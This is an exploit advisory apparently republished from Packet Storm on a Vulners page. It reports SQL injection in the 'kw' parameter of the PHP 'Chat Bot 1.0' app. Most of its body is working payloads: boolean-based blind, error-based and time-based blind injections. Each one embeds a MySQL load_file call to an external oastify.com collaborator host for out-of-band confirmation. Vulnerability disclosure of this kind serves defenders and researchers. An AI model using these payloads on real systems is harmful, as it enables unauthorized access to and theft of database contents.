Lucene search
K

Chat Bot 1.0 SQL Injection

🗓️ 22 May 2024 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 436 Views

Chat Bot 1.0 SQL Injection vulnerability with high status. 'kw' parameter is vulnerable to SQL injection attacks allowing attackers to access system information. Exploits include boolean-based blind, error-based, and time-based blind injections

Code
`## Titles: Chat Bot - PHP (by: oretnom23 ) v1.0 Multiple SQLi  
## Author: nu11secur1ty  
## Date: 05/22/2024  
## Vendor: https://github.com/oretnom23  
## Software:  
https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The `kw` parameter appears to be vulnerable to SQL injection attacks. The  
payload '+(select load_file('\\\\  
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+' was submitted  
in the kw parameter. This payload injects a SQL sub-query that calls  
MySQL's load_file function with a UNC file path that references a URL on an  
external domain. The application interacted with that domain, indicating  
that the injected SQL query was executed. The attacker can get all  
information from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
---  
Parameter: kw (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)  
Payload: kw=Write your query here'+(select load_file('\\\\  
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') OR NOT  
5452=5452-- yJrL  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload: kw=Write your query here'+(select load_file('\\\\  
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT  
6898 FROM(SELECT COUNT(*),CONCAT(0x717a6a7171,(SELECT  
(ELT(6898=6898,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ugYc  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: kw=Write your query here'+(select load_file('\\\\  
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT  
3334 FROM (SELECT(SLEEP(7)))MjoP)-- WPgB  
---  
```  
  
## Reproduce:  
[href](https://www.patreon.com/posts/chat-bot-php-by-104709713)  
  
## Proof and Exploit:  
[href](  
https://www.nu11secur1ty.com/2024/05/mvogms-by-oretnom23-v10-multiple-sqli_22.html  
)  
  
## Time spent:  
01:19:00  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation